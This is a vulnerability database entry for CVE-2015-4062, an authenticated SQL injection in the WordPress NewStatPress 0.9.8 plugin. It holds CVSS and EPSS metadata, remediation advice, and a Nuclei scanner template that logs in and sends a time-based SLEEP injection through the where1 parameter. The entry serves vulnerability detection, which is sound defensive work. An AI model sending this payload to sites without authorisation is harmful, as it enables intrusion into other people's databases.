SecurityContext

CVE-2015-4062: WordPress NewStatPress 0.9.8 - SQL Injection

Classification

  • Cwe: CWE-89
  • Cvss score: 6.5
  • Cvss vector: CVSS:2.0/AV:N/AC:L/Au:S/C:P/I:P/A:P
  • Epss score: 0.09292
  • Epss percentile: 0.95494
  • Cpe: cpe:2.3:a:newstatpress_project:newstatpress:*:*:*:*:*:wordpress:*:*

Metadata

  • Framework: wordpress
  • Max-request: 2
  • Product: newstatpress
  • Vendor: newstatpress_project
  • Verified: yes

Products

ProductIndexedUrl
newstatpress_project:newstatpressyes/v1/products/newstatpress_project/newstatpress

Labels

  • Name: WordPress NewStatPress - SQL Injection
  • Impact: Authenticated attackers can execute arbitrary SQL commands, potentially leading to data theft or database compromise.
  • Remediation: Update to the latest version of the plugin or apply security patches that fix input sanitization.
  • Vulnerability type: sql_injection
  • Vulnerability impact: information_disclosure, data_tampering
  • Requirement type: logged_in
  • Requirements: Attacker needs to be logged in with authenticated access
  • Labels source: projectdiscovery
  • From cve: CVE-2015-4062

```yaml

id: CVE-2015-4062

info:

name: WordPress NewStatPress 0.9.8 - SQL Injection

author: r3Y3r53

severity: medium

description: |

WordPress NewStatPress 0.9.8 plugin contains a SQL injection vulnerability in includes/nsp_search.php. A remote authenticated user can execute arbitrary SQL commands via the where1 parameter in the nsp_search page to wp-admin/admin.php.

impact: |

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.

remediation: |

Update to plugin version 0.9.9 or latest.

reference:

- https://packetstormsecurity.com/files/132038/

- https://wordpress.org/plugins/newstatpress

- http://packetstormsecurity.com/files/132038/WordPress-NewStatPress-0.9.8-Cross-Site-Scripting-SQL-Injection.html

- https://nvd.nist.gov/vuln/detail/CVE-2015-4062

- https://wordpress.org/plugins/newstatpress/changelog/

classification:

cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:S/C:P/I:P/A:P

cvss-score: 6.5

cve-id: CVE-2015-4062

cwe-id: CWE-89

epss-score: 0.09292

epss-percentile: 0.95494

cpe: cpe:2.3:a:newstatpress_project:newstatpress:*:*:*:*:*:wordpress:*:*

metadata:

verified: true

max-request: 2

vendor: newstatpress_project

product: newstatpress

framework: wordpress

tags: time-based-sqli,cve2015,cve,authenticated,sqli,wp-plugin,newstatpress,packetstorm,wordpress,wp,newstatpress_project,vuln

http:

- raw:

- |

POST /wp-login.php HTTP/1.1

Host: {{Hostname}}

Content-Type: application/x-www-form-urlencoded

log={{username}}&pwd={{password}}&wp-submit=Log+In

- |

@timeout: 20s

GET /wp-admin/admin.php?where1=1+AND+(SELECT+3066+FROM+(SELECT(SLEEP(6)))CEHy)&limitquery=1&searchsubmit=Buscar&page=nsp_search HTTP/1.1

Host: {{Hostname}}

matchers:

- type: dsl

dsl:

- 'duration>=6'

- 'status_code == 200'

- 'contains(body_2, "newstatpress_page_nsp_search")'

condition: and

digest: 490a00463044022052474bb1323b40a796cd3e69fec5da4fee13fe75e3d506e854dc7c9f1c5fea7402205fb37658919fdc8e234944bd6298b82602b1ca9fcb507af3b7ccc6c4abb9d4ba:922c64590222798bb761d5b6d8e72950

```